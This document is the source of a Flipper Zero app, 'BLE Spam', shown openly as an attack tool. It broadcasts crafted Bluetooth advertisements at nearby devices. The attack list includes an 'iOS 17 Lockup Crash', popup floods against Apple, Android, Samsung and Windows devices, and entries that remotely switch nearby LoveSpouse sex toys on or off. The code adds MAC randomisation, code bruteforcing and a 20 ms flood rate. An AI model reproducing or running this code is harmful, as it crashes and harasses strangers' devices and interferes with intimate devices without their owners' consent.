ble_spam.c 25 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738
  1. #include "ble_spam.h"
  2. #include <gui/gui.h>
  3. #include <furi_hal_bt.h>
  4. #include <extra_beacon.h>
  5. #include <gui/elements.h>
  6. #include "protocols/_protocols.h"
  7. // Hacked together by @Willy-JL
  8. // Custom adv API by @Willy-JL (idea by @xMasterX)
  9. // iOS 17 Crash by @ECTO-1A
  10. // Android, Samsung and Windows Pairs by @Spooks4576 and @ECTO-1A
  11. // Research on behaviors and parameters by @Willy-JL, @ECTO-1A and @Spooks4576
  12. // Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam
  13. static Attack attacks[] = {
  14. {
  15. .title = "The Kitchen Sink",
  16. .text = "Flood all attacks at once",
  17. .protocol = NULL,
  18. .payload =
  19. {
  20. .random_mac = true,
  21. .cfg = {},
  22. },
  23. },
  24. {
  25. .title = "BT Settings Flood",
  26. .text = "Fills available BT devices",
  27. .protocol = &protocol_nameflood,
  28. .payload =
  29. {
  30. .random_mac = true,
  31. .cfg.nameflood = {},
  32. },
  33. },
  34. {
  35. .title = "iOS 17 Lockup Crash",
  36. .text = "Newer iPhones, long range",
  37. .protocol = &protocol_continuity,
  38. .payload =
  39. {
  40. .random_mac = false,
  41. .cfg.continuity =
  42. {
  43. .type = ContinuityTypeCustomCrash,
  44. },
  45. },
  46. },
  47. {
  48. .title = "Apple Action Modal",
  49. .text = "Lock cooldown, long range",
  50. .protocol = &protocol_continuity,
  51. .payload =
  52. {
  53. .random_mac = false,
  54. .cfg.continuity =
  55. {
  56. .type = ContinuityTypeNearbyAction,
  57. },
  58. },
  59. },
  60. {
  61. .title = "Apple Device Popup",
  62. .text = "No cooldown, close range",
  63. .protocol = &protocol_continuity,
  64. .payload =
  65. {
  66. .random_mac = false,
  67. .cfg.continuity =
  68. {
  69. .type = ContinuityTypeProximityPair,
  70. },
  71. },
  72. },
  73. {
  74. .title = "Android Device Connect",
  75. .text = "Reboot cooldown, long range",
  76. .protocol = &protocol_fastpair,
  77. .payload =
  78. {
  79. .random_mac = true,
  80. .cfg.fastpair = {},
  81. },
  82. },
  83. {
  84. .title = "Samsung Buds Popup",
  85. .text = "No cooldown, long range",
  86. .protocol = &protocol_easysetup,
  87. .payload =
  88. {
  89. .random_mac = true,
  90. .cfg.easysetup =
  91. {
  92. .type = EasysetupTypeBuds,
  93. },
  94. },
  95. },
  96. {
  97. .title = "Samsung Watch Pair",
  98. .text = "No cooldown, long range",
  99. .protocol = &protocol_easysetup,
  100. .payload =
  101. {
  102. .random_mac = true,
  103. .cfg.easysetup =
  104. {
  105. .type = EasysetupTypeWatch,
  106. },
  107. },
  108. },
  109. {
  110. .title = "Windows Device Found",
  111. .text = "No cooldown, short range",
  112. .protocol = &protocol_swiftpair,
  113. .payload =
  114. {
  115. .random_mac = true,
  116. .cfg.swiftpair = {},
  117. },
  118. },
  119. {
  120. .title = "Vibrate 'em All",
  121. .text = "Activate all LoveSpouse toys",
  122. .protocol = &protocol_lovespouse,
  123. .payload =
  124. {
  125. .random_mac = true,
  126. .cfg.lovespouse =
  127. {
  128. .state = LovespouseStatePlay,
  129. },
  130. },
  131. },
  132. {
  133. .title = "Denial of Pleasure",
  134. .text = "Disable all LoveSpouse toys",
  135. .protocol = &protocol_lovespouse,
  136. .payload =
  137. {
  138. .random_mac = true,
  139. .cfg.lovespouse =
  140. {
  141. .state = LovespouseStateStop,
  142. },
  143. },
  144. },
  145. };
  146. #define ATTACKS_COUNT ((signed)COUNT_OF(attacks))
  147. static uint16_t delays[] = {20, 50, 100, 200, 500};
  148. typedef struct {
  149. Ctx ctx;
  150. View* main_view;
  151. bool lock_warning;
  152. uint8_t lock_count;
  153. FuriTimer* lock_timer;
  154. bool advertising;
  155. uint8_t delay;
  156. GapExtraBeaconConfig config;
  157. FuriThread* thread;
  158. int8_t index;
  159. bool ignore_bruteforce;
  160. } State;
  161. const NotificationSequence solid_message = {
  162. &message_red_0,
  163. &message_green_255,
  164. &message_blue_255,
  165. &message_do_not_reset,
  166. &message_delay_10,
  167. NULL,
  168. };
  169. NotificationMessage blink_message = {
  170. .type = NotificationMessageTypeLedBlinkStart,
  171. .data.led_blink.color = LightBlue | LightGreen,
  172. .data.led_blink.on_time = 10,
  173. .data.led_blink.period = 100,
  174. };
  175. const NotificationSequence blink_sequence = {
  176. &blink_message,
  177. &message_do_not_reset,
  178. NULL,
  179. };
  180. static void start_blink(State* state) {
  181. uint16_t period = delays[state->delay];
  182. if(period <= 100) period += 30;
  183. blink_message.data.led_blink.period = period;
  184. notification_message_block(state->ctx.notification, &blink_sequence);
  185. }
  186. static void stop_blink(State* state) {
  187. notification_message_block(state->ctx.notification, &sequence_blink_stop);
  188. }
  189. static void randomize_mac(State* state) {
  190. furi_hal_random_fill_buf(state->config.address, sizeof(state->config.address));
  191. }
  192. static void start_extra_beacon(State* state) {
  193. uint8_t size;
  194. uint8_t* packet;
  195. uint16_t delay = delays[state->delay];
  196. GapExtraBeaconConfig* config = &state->config;
  197. Payload* payload = &attacks[state->index].payload;
  198. const Protocol* protocol = attacks[state->index].protocol;
  199. config->min_adv_interval_ms = delay;
  200. config->max_adv_interval_ms = delay * 1.5;
  201. if(payload->random_mac) randomize_mac(state);
  202. furi_check(furi_hal_bt_extra_beacon_set_config(config));
  203. if(protocol) {
  204. protocol->make_packet(&size, &packet, payload);
  205. } else {
  206. protocols[rand() % protocols_count]->make_packet(&size, &packet, NULL);
  207. }
  208. furi_check(furi_hal_bt_extra_beacon_set_data(packet, size));
  209. free(packet);
  210. furi_check(furi_hal_bt_extra_beacon_start());
  211. }
  212. static int32_t adv_thread(void* _ctx) {
  213. State* state = _ctx;
  214. Payload* payload = &attacks[state->index].payload;
  215. const Protocol* protocol = attacks[state->index].protocol;
  216. if(!payload->random_mac) randomize_mac(state);
  217. if(state->ctx.led_indicator) start_blink(state);
  218. if(furi_hal_bt_extra_beacon_is_active()) {
  219. furi_check(furi_hal_bt_extra_beacon_stop());
  220. }
  221. while(state->advertising) {
  222. if(protocol && payload->mode == PayloadModeBruteforce &&
  223. payload->bruteforce.counter++ >= 10) {
  224. payload->bruteforce.counter = 0;
  225. payload->bruteforce.value =
  226. (payload->bruteforce.value + 1) % (1 << (payload->bruteforce.size * 8));
  227. }
  228. start_extra_beacon(state);
  229. furi_thread_flags_wait(true, FuriFlagWaitAny, delays[state->delay]);
  230. furi_check(furi_hal_bt_extra_beacon_stop());
  231. }
  232. if(state->ctx.led_indicator) stop_blink(state);
  233. return 0;
  234. }
  235. static void toggle_adv(State* state) {
  236. if(state->advertising) {
  237. state->advertising = false;
  238. furi_thread_flags_set(furi_thread_get_id(state->thread), true);
  239. furi_thread_join(state->thread);
  240. } else {
  241. state->advertising = true;
  242. furi_thread_start(state->thread);
  243. }
  244. }
  245. #define PAGE_MIN (-5)
  246. #define PAGE_MAX ATTACKS_COUNT
  247. enum {
  248. PageHelpBruteforce = PAGE_MIN,
  249. PageHelpApps,
  250. PageHelpDelay,
  251. PageHelpDistance,
  252. PageHelpInfoConfig,
  253. PageStart = 0,
  254. PageEnd = ATTACKS_COUNT - 1,
  255. PageAboutCredits = PAGE_MAX,
  256. };
  257. static void draw_callback(Canvas* canvas, void* _ctx) {
  258. State* state = *(State**)_ctx;
  259. const char* back = "Back";
  260. const char* next = "Next";
  261. if(state->index < 0) {
  262. back = "Next";
  263. next = "Back";
  264. }
  265. switch(state->index) {
  266. case PageStart - 1:
  267. next = "Spam";
  268. break;
  269. case PageStart:
  270. back = "Help";
  271. break;
  272. case PageEnd:
  273. next = "About";
  274. break;
  275. case PageEnd + 1:
  276. back = "Spam";
  277. break;
  278. }
  279. const Attack* attack =
  280. (state->index >= 0 && state->index <= ATTACKS_COUNT - 1) ? &attacks[state->index] : NULL;
  281. const Payload* payload = attack ? &attack->payload : NULL;
  282. const Protocol* protocol = attack ? attack->protocol : NULL;
  283. canvas_set_font(canvas, FontSecondary);
  284. canvas_draw_icon(canvas, 4 - !protocol, 3, protocol ? protocol->icon : &I_ble_spam);
  285. canvas_draw_str(canvas, 14, 12, "BLE Spam");
  286. switch(state->index) {
  287. case PageHelpBruteforce:
  288. canvas_set_font(canvas, FontBatteryPercent);
  289. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  290. elements_text_box(
  291. canvas,
  292. 4,
  293. 16,
  294. 120,
  295. 48,
  296. AlignLeft,
  297. AlignTop,
  298. "\e#Bruteforce\e# cycles codes\n"
  299. "to find popups, hold left and\n"
  300. "right to send manually and\n"
  301. "change delay",
  302. false);
  303. break;
  304. case PageHelpApps:
  305. canvas_set_font(canvas, FontBatteryPercent);
  306. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  307. elements_text_box(
  308. canvas,
  309. 4,
  310. 16,
  311. 120,
  312. 48,
  313. AlignLeft,
  314. AlignTop,
  315. "\e#Some Apps\e# interfere\n"
  316. "with the attacks, stay on\n"
  317. "homescreen for best results",
  318. false);
  319. break;
  320. case PageHelpDelay:
  321. canvas_set_font(canvas, FontBatteryPercent);
  322. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  323. elements_text_box(
  324. canvas,
  325. 4,
  326. 16,
  327. 120,
  328. 48,
  329. AlignLeft,
  330. AlignTop,
  331. "\e#Delay\e# is time between\n"
  332. "attack attempts (top right),\n"
  333. "keep 20ms for best results",
  334. false);
  335. break;
  336. case PageHelpDistance:
  337. canvas_set_font(canvas, FontBatteryPercent);
  338. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  339. elements_text_box(
  340. canvas,
  341. 4,
  342. 16,
  343. 120,
  344. 48,
  345. AlignLeft,
  346. AlignTop,
  347. "\e#Distance\e# varies greatly:\n"
  348. "some are long range (>30 m)\n"
  349. "others are close range (<1 m)",
  350. false);
  351. break;
  352. case PageHelpInfoConfig:
  353. canvas_set_font(canvas, FontBatteryPercent);
  354. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  355. elements_text_box(
  356. canvas,
  357. 4,
  358. 16,
  359. 120,
  360. 48,
  361. AlignLeft,
  362. AlignTop,
  363. "See \e#more info\e# and change\n"
  364. "\e#attack options\e# by holding\n"
  365. "Ok on each attack page",
  366. false);
  367. break;
  368. case PageAboutCredits:
  369. canvas_set_font(canvas, FontBatteryPercent);
  370. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Credits");
  371. elements_text_box(
  372. canvas,
  373. 4,
  374. 16,
  375. 122,
  376. 48,
  377. AlignLeft,
  378. AlignTop,
  379. "App+Spam: \e#WillyJL\e#\n"
  380. "Apple+Crash: \e#ECTO-1A\e#\n"
  381. "Android+Win: \e#Spooks4576\e#\n"
  382. " Version \e#" FAP_VERSION "\e#",
  383. false);
  384. break;
  385. default: {
  386. if(!attack) break;
  387. if(state->ctx.lock_keyboard && !state->advertising) {
  388. // Forgive me Lord for I have sinned by handling state in draw
  389. toggle_adv(state);
  390. }
  391. char str[32];
  392. canvas_set_font(canvas, FontBatteryPercent);
  393. if(payload->mode == PayloadModeBruteforce) {
  394. snprintf(
  395. str,
  396. sizeof(str),
  397. "0x%0*lX",
  398. payload->bruteforce.size * 2,
  399. payload->bruteforce.value);
  400. } else {
  401. snprintf(str, sizeof(str), "%ims", delays[state->delay]);
  402. }
  403. canvas_draw_str_aligned(canvas, 116, 12, AlignRight, AlignBottom, str);
  404. canvas_draw_icon(canvas, 119, 6, &I_SmallArrowUp_3x5);
  405. canvas_draw_icon(canvas, 119, 10, &I_SmallArrowDown_3x5);
  406. canvas_set_font(canvas, FontBatteryPercent);
  407. if(payload->mode == PayloadModeBruteforce) {
  408. canvas_draw_str_aligned(canvas, 64, 22, AlignCenter, AlignBottom, "Bruteforce");
  409. if(delays[state->delay] < 100) {
  410. snprintf(str, sizeof(str), "%ims>", delays[state->delay]);
  411. } else {
  412. snprintf(str, sizeof(str), "%.1fs>", (double)delays[state->delay] / 1000);
  413. }
  414. uint16_t w = canvas_string_width(canvas, str);
  415. elements_slightly_rounded_box(canvas, 3, 14, 30, 10);
  416. elements_slightly_rounded_box(canvas, 119 - w, 14, 6 + w, 10);
  417. canvas_invert_color(canvas);
  418. canvas_draw_str_aligned(canvas, 5, 22, AlignLeft, AlignBottom, "<Send");
  419. canvas_draw_str_aligned(canvas, 122, 22, AlignRight, AlignBottom, str);
  420. canvas_invert_color(canvas);
  421. } else {
  422. snprintf(
  423. str,
  424. sizeof(str),
  425. "%02i/%02i: %s",
  426. state->index + 1,
  427. ATTACKS_COUNT,
  428. protocol ? protocol->get_name(payload) : "Everything AND");
  429. canvas_draw_str(canvas, 4 - (state->index < 19 ? 1 : 0), 22, str);
  430. }
  431. canvas_set_font(canvas, FontPrimary);
  432. canvas_draw_str(canvas, 4, 33, attack->title);
  433. canvas_set_font(canvas, FontSecondary);
  434. canvas_draw_str(canvas, 4, 46, attack->text);
  435. elements_button_center(canvas, state->advertising ? "Stop" : "Start");
  436. break;
  437. }
  438. }
  439. if(state->index > PAGE_MIN) {
  440. elements_button_left(canvas, back);
  441. }
  442. if(state->index < PAGE_MAX) {
  443. elements_button_right(canvas, next);
  444. }
  445. if(state->lock_warning) {
  446. canvas_set_font(canvas, FontSecondary);
  447. elements_bold_rounded_frame(canvas, 14, 8, 99, 48);
  448. elements_multiline_text(canvas, 65, 26, "To unlock\npress:");
  449. canvas_draw_icon(canvas, 65, 42, &I_Pin_back_arrow_10x8);
  450. canvas_draw_icon(canvas, 80, 42, &I_Pin_back_arrow_10x8);
  451. canvas_draw_icon(canvas, 95, 42, &I_Pin_back_arrow_10x8);
  452. canvas_draw_icon(canvas, 16, 13, &I_WarningDolphin_45x42);
  453. canvas_draw_dot(canvas, 17, 61);
  454. }
  455. }
  456. static bool input_callback(InputEvent* input, void* _ctx) {
  457. View* view = _ctx;
  458. State* state = *(State**)view_get_model(view);
  459. bool consumed = false;
  460. if(state->ctx.lock_keyboard) {
  461. consumed = true;
  462. state->lock_warning = true;
  463. if(state->lock_count == 0) {
  464. furi_timer_set_thread_priority(FuriTimerThreadPriorityElevated);
  465. furi_timer_start(state->lock_timer, 1000);
  466. }
  467. if(input->type == InputTypeShort && input->key == InputKeyBack) {
  468. state->lock_count++;
  469. }
  470. if(state->lock_count >= 3) {
  471. furi_timer_set_thread_priority(FuriTimerThreadPriorityElevated);
  472. furi_timer_start(state->lock_timer, 1);
  473. }
  474. } else if(
  475. input->type == InputTypeShort || input->type == InputTypeLong ||
  476. input->type == InputTypeRepeat) {
  477. consumed = true;
  478. bool is_attack = state->index >= 0 && state->index <= ATTACKS_COUNT - 1;
  479. Payload* payload = is_attack ? &attacks[state->index].payload : NULL;
  480. bool advertising = state->advertising;
  481. switch(input->key) {
  482. case InputKeyOk:
  483. if(is_attack) {
  484. if(input->type == InputTypeLong) {
  485. if(advertising) toggle_adv(state);
  486. state->ctx.attack = &attacks[state->index];
  487. scene_manager_set_scene_state(state->ctx.scene_manager, SceneConfig, 0);
  488. view_commit_model(view, consumed);
  489. scene_manager_next_scene(state->ctx.scene_manager, SceneConfig);
  490. return consumed;
  491. } else if(input->type == InputTypeShort) {
  492. toggle_adv(state);
  493. }
  494. }
  495. break;
  496. case InputKeyUp:
  497. if(is_attack) {
  498. if(payload->mode == PayloadModeBruteforce) {
  499. payload->bruteforce.counter = 0;
  500. payload->bruteforce.value =
  501. (payload->bruteforce.value + 1) % (1 << (payload->bruteforce.size * 8));
  502. } else if(state->delay < COUNT_OF(delays) - 1) {
  503. state->delay++;
  504. if(advertising) start_blink(state);
  505. }
  506. }
  507. break;
  508. case InputKeyDown:
  509. if(is_attack) {
  510. if(payload->mode == PayloadModeBruteforce) {
  511. payload->bruteforce.counter = 0;
  512. payload->bruteforce.value =
  513. (payload->bruteforce.value - 1) % (1 << (payload->bruteforce.size * 8));
  514. } else if(state->delay > 0) {
  515. state->delay--;
  516. if(advertising) start_blink(state);
  517. }
  518. }
  519. break;
  520. case InputKeyLeft:
  521. if(input->type == InputTypeLong) {
  522. state->ignore_bruteforce = payload ? (payload->mode != PayloadModeBruteforce) :
  523. true;
  524. }
  525. if(input->type == InputTypeShort || !is_attack || state->ignore_bruteforce ||
  526. payload->mode != PayloadModeBruteforce) {
  527. if(state->index > PAGE_MIN) {
  528. if(advertising) toggle_adv(state);
  529. state->index--;
  530. }
  531. } else {
  532. if(!advertising) {
  533. Payload* payload = &attacks[state->index].payload;
  534. if(input->type == InputTypeLong && !payload->random_mac) randomize_mac(state);
  535. if(furi_hal_bt_extra_beacon_is_active()) {
  536. furi_check(furi_hal_bt_extra_beacon_stop());
  537. }
  538. start_extra_beacon(state);
  539. if(state->ctx.led_indicator)
  540. notification_message(state->ctx.notification, &solid_message);
  541. furi_delay_ms(10);
  542. furi_check(furi_hal_bt_extra_beacon_stop());
  543. if(state->ctx.led_indicator)
  544. notification_message_block(state->ctx.notification, &sequence_reset_rgb);
  545. }
  546. }
  547. break;
  548. case InputKeyRight:
  549. if(input->type == InputTypeLong) {
  550. state->ignore_bruteforce = payload ? (payload->mode != PayloadModeBruteforce) :
  551. true;
  552. }
  553. if(input->type == InputTypeShort || !is_attack || state->ignore_bruteforce ||
  554. payload->mode != PayloadModeBruteforce) {
  555. if(state->index < PAGE_MAX) {
  556. if(advertising) toggle_adv(state);
  557. state->index++;
  558. }
  559. } else if(input->type == InputTypeLong) {
  560. state->delay = (state->delay + 1) % COUNT_OF(delays);
  561. if(advertising) start_blink(state);
  562. }
  563. break;
  564. case InputKeyBack:
  565. if(advertising) toggle_adv(state);
  566. consumed = false;
  567. break;
  568. default:
  569. break;
  570. }
  571. }
  572. view_commit_model(view, consumed);
  573. return consumed;
  574. }
  575. static void lock_timer_callback(void* _ctx) {
  576. State* state = _ctx;
  577. if(state->lock_count < 3) {
  578. notification_message_block(state->ctx.notification, &sequence_display_backlight_off);
  579. } else {
  580. state->ctx.lock_keyboard = false;
  581. }
  582. with_view_model(
  583. state->main_view, State * *model, { (*model)->lock_warning = false; }, true);
  584. state->lock_count = 0;
  585. furi_timer_set_thread_priority(FuriTimerThreadPriorityNormal);
  586. }
  587. static void tick_event_callback(void* _ctx) {
  588. State* state = _ctx;
  589. bool advertising;
  590. with_view_model(
  591. state->main_view, State * *model, { advertising = (*model)->advertising; }, advertising);
  592. scene_manager_handle_tick_event(state->ctx.scene_manager);
  593. }
  594. static bool back_event_callback(void* _ctx) {
  595. State* state = _ctx;
  596. return scene_manager_handle_back_event(state->ctx.scene_manager);
  597. }
  598. int32_t ble_spam(void* p) {
  599. UNUSED(p);
  600. GapExtraBeaconConfig prev_cfg;
  601. const GapExtraBeaconConfig* prev_cfg_ptr = furi_hal_bt_extra_beacon_get_config();
  602. if(prev_cfg_ptr) {
  603. memcpy(&prev_cfg, prev_cfg_ptr, sizeof(prev_cfg));
  604. }
  605. uint8_t prev_data[EXTRA_BEACON_MAX_DATA_SIZE];
  606. uint8_t prev_data_len = furi_hal_bt_extra_beacon_get_data(prev_data);
  607. bool prev_active = furi_hal_bt_extra_beacon_is_active();
  608. State* state = malloc(sizeof(State));
  609. state->config.adv_channel_map = GapAdvChannelMapAll;
  610. state->config.adv_power_level = GapAdvPowerLevel_6dBm;
  611. state->config.address_type = GapAddressTypePublic;
  612. state->thread = furi_thread_alloc();
  613. furi_thread_set_callback(state->thread, adv_thread);
  614. furi_thread_set_context(state->thread, state);
  615. furi_thread_set_stack_size(state->thread, 2048);
  616. state->ctx.led_indicator = true;
  617. state->lock_timer = furi_timer_alloc(lock_timer_callback, FuriTimerTypeOnce, state);
  618. state->ctx.notification = furi_record_open(RECORD_NOTIFICATION);
  619. Gui* gui = furi_record_open(RECORD_GUI);
  620. state->ctx.view_dispatcher = view_dispatcher_alloc();
  621. view_dispatcher_enable_queue(state->ctx.view_dispatcher);
  622. view_dispatcher_set_event_callback_context(state->ctx.view_dispatcher, state);
  623. view_dispatcher_set_tick_event_callback(state->ctx.view_dispatcher, tick_event_callback, 100);
  624. view_dispatcher_set_navigation_event_callback(state->ctx.view_dispatcher, back_event_callback);
  625. state->ctx.scene_manager = scene_manager_alloc(&scene_handlers, &state->ctx);
  626. state->main_view = view_alloc();
  627. view_allocate_model(state->main_view, ViewModelTypeLocking, sizeof(State*));
  628. with_view_model(
  629. state->main_view, State * *model, { *model = state; }, false);
  630. view_set_context(state->main_view, state->main_view);
  631. view_set_draw_callback(state->main_view, draw_callback);
  632. view_set_input_callback(state->main_view, input_callback);
  633. view_dispatcher_add_view(state->ctx.view_dispatcher, ViewMain, state->main_view);
  634. state->ctx.byte_input = byte_input_alloc();
  635. view_dispatcher_add_view(
  636. state->ctx.view_dispatcher, ViewByteInput, byte_input_get_view(state->ctx.byte_input));
  637. state->ctx.submenu = submenu_alloc();
  638. view_dispatcher_add_view(
  639. state->ctx.view_dispatcher, ViewSubmenu, submenu_get_view(state->ctx.submenu));
  640. state->ctx.text_input = text_input_alloc();
  641. view_dispatcher_add_view(
  642. state->ctx.view_dispatcher, ViewTextInput, text_input_get_view(state->ctx.text_input));
  643. state->ctx.variable_item_list = variable_item_list_alloc();
  644. view_dispatcher_add_view(
  645. state->ctx.view_dispatcher,
  646. ViewVariableItemList,
  647. variable_item_list_get_view(state->ctx.variable_item_list));
  648. view_dispatcher_attach_to_gui(state->ctx.view_dispatcher, gui, ViewDispatcherTypeFullscreen);
  649. scene_manager_next_scene(state->ctx.scene_manager, SceneMain);
  650. view_dispatcher_run(state->ctx.view_dispatcher);
  651. view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewByteInput);
  652. byte_input_free(state->ctx.byte_input);
  653. view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewSubmenu);
  654. submenu_free(state->ctx.submenu);
  655. view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewTextInput);
  656. text_input_free(state->ctx.text_input);
  657. view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewVariableItemList);
  658. variable_item_list_free(state->ctx.variable_item_list);
  659. view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewMain);
  660. view_free(state->main_view);
  661. scene_manager_free(state->ctx.scene_manager);
  662. view_dispatcher_free(state->ctx.view_dispatcher);
  663. furi_record_close(RECORD_GUI);
  664. furi_record_close(RECORD_NOTIFICATION);
  665. furi_timer_free(state->lock_timer);
  666. furi_thread_free(state->thread);
  667. free(state);
  668. if(furi_hal_bt_extra_beacon_is_active()) {
  669. furi_check(furi_hal_bt_extra_beacon_stop());
  670. }
  671. if(prev_cfg_ptr) {
  672. furi_check(furi_hal_bt_extra_beacon_set_config(&prev_cfg));
  673. }
  674. furi_check(furi_hal_bt_extra_beacon_set_data(prev_data, prev_data_len));
  675. if(prev_active) {
  676. furi_check(furi_hal_bt_extra_beacon_start());
  677. }
  678. return 0;
  679. }